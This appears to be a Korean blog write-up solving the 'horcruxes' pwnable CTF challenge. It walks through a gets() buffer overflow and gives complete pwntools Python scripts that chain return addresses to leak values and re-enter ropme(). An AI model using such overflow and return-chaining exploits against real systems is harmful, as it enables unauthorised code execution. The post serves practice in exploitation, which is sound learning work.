이번 horcruxes는 나온지 얼마 안된 따끈따끈한 바이너리이다. 보아하니 코드는 주지 않고, nc서버에서 진행된다.


우선 평소같이 로컬로 가져와 IDA와 GDB로 열어보았다.


취약점 자체는 금방 찾을 수 있었다. (괜히 삽질을 많이해서 그렇지)





gets(s);를 보면 아무런 길이 제한 없이 입력을 받는 것을 볼 수 있다. 너무 당연하게도 ret도 덮을 수 있다.


보면 ret까지의 거리가 0x74+4 즉 120인 것을 알 수 있다.


그리고 위쪽 scanf가 있으므로 1바이트 더 입력해서 gets로 내려오도록 하자.


그리고 A,B,C,D,E,F,G 함수를 각각 실행해서 a~g 변수의 값을 구하도록 하자.


from pwn import *

context.log_level='debug'

r = process("./horcruxes")


A = 0x809fe4b

B = 0x809fe6a

C = 0x809fe89

D = 0x809fea8

E = 0x809fec7

F = 0x809fee6

G = 0x809ff05



r.recv(1024)

payload = ""

payload += "A"*121


payload += p32(A)


payload += p32(B)


payload += p32(C)


payload += p32(D)


payload += p32(E)


payload += p32(F)


payload += p32(G)

우선 여기까지 짤 수 있다.

실행하면




저렇게 값들이 모두 출력되는 것을 볼 수 있다.

이를 모두 모은 후, 더해준 다음 ropme()함수를 다시 실행해 주자.



보면 ropme()함수의 주소에는 0x0A가 들어가기 때문에 gets에서 개행문자로 인식해 입력을 끊어버린다. 그래서 우린 main()의 call ropme() 위치로 jmp할 것이다.


0x0809fff9로 jmp하면 될 것이다.


from pwn import *

context.log_level='debug'

r = process("./horcruxes")

A = 0x809fe4b

B = 0x809fe6a

C = 0x809fe89

D = 0x809fea8

E = 0x809fec7

F = 0x809fee6

G = 0x809ff05

ropme = 0x0809FFF9

#gdb.attach(pidof(r)[0])


r.recv(1024)

payload = ""

payload += "A"*121


payload += p32(A)


payload += p32(B)


payload += p32(C)


payload += p32(D)


payload += p32(E)


payload += p32(F)


payload += p32(G)


payload += p32(ropme)




r.sendline(payload)


r.recvuntil('Diary" (EXP +')

a = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Ring" (EXP +')

b = int( r.recvuntil(")\n")[:-2] )


r.recvuntil('Cup" (EXP +')

c = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Locket" (EXP +')

d = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Diadem" (EXP +')

e = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Snake" (EXP +')

f = int(r.recvuntil(")\n")[:-2])


r.recvuntil('Potter" (EXP +')

g = int(r.recvuntil(")\n")[:-2])


r.send("A")

r.sendline(str(a+b+c+d+e+f+g))

r.recv(1024)


r.interactive()



이제 이 코드를 pwnable서버로 들어가서 nc로 넘겨주면 된다.



'pwnable > Toddler's Bottle' 카테고리의 다른 글

[Toddler's Bottle] unlink  (0) 2018.09.14
[Toddler's Bottle] blukat  (0) 2018.09.12
[Toddler's Bottle] asm  (0) 2018.09.12
[Toddler's Bottle] uaf  (0) 2018.05.31
[Toddle's Bottle] cmd2  (0) 2018.05.31
블로그 이미지

천재보다는 범재

,